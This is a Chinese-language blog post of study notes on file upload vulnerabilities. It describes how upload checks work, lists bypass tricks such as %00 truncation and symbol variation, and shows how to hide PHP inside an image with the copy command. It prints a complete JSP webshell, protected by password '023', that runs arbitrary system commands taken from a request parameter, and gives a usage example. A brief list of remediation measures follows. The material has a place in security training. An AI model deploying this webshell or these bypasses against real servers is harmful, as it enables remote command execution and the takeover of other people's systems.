文件上传漏洞

验证/绕过

利用思路

文件上传利用条件

1.能上传

2.能解析

3.知道上传的路径且可以访问

文件上传常见验证:

后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME信息
文件头:内容头信息

%00只能在php5.3以下才会生效

图片马🐎

使用cmd copy命令将php代码插入图片_php怎么引入图片-CSDN博客
/a 表示一个 ASCII 文本文件
/b 表示一个二进位文件

复制代码
copy 1.jpg/b + 2.txt/a 3.jpg

尽量使用copy进行制作,手动修改可能破坏图片

二次渲染

【文件上传绕过】--二次渲染-CSDN博客

一句话jsp恶意代码

复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

参数:pwd=023&i=id(ls或者其他也可)

上传参数名解析:明确哪些东西能修改

Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改

常见绕过方法

数据溢出-防匹配(xxx...)

符号变异-防匹配(' '' ;)

数据截断-防匹配(%00 ; 换行)

重复匹配-防匹配(参数多次)

文件上传安全修复方案

后端验证:采用服务端验证模式

后缀检测:基于黑名单,白名单过滤

MIME检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:参考uploadlabs函数

自定义函数过滤:function check_file(){}

waf防护产品:宝塔,云顿,安全公司产品等

相关推荐
DreamLife☼19 分钟前
工业领域 ACP 协议全解析:从入门到实战案例
网络·安全·ai·工业·行为·acp·管控
筏.k34 分钟前
计算机网络:物理层---物理层的基本概念
计算机网络
久绊A37 分钟前
如何在Kali Linux官网下载历史版本
安全·web安全
代码的余温40 分钟前
SQL Server全链路安全防护
数据库·安全·sqlserver
数据库安全1 小时前
实力登榜!美创科技荣膺数说安全《2025中国网络安全企业100强》
科技·安全·数据安全
久绊A2 小时前
Nmap网络扫描工具详细使用教程
网络·nmap
jingfeng5142 小时前
应用层自定义协议与序列化
运维·服务器·网络
李白你好2 小时前
功能强大的多线程端口扫描工具,支持批量 IP 扫描、多种端口格式输入、扫描结果美化导出,适用于网络安全检测与端口监控场景
web安全
板鸭〈小号〉2 小时前
UDP-Server(2)词典功能
网络·网络协议·udp
三味神风3 小时前
Linux系统安全加固:构建云计算安全的第一道防线
安全·云计算·系统安全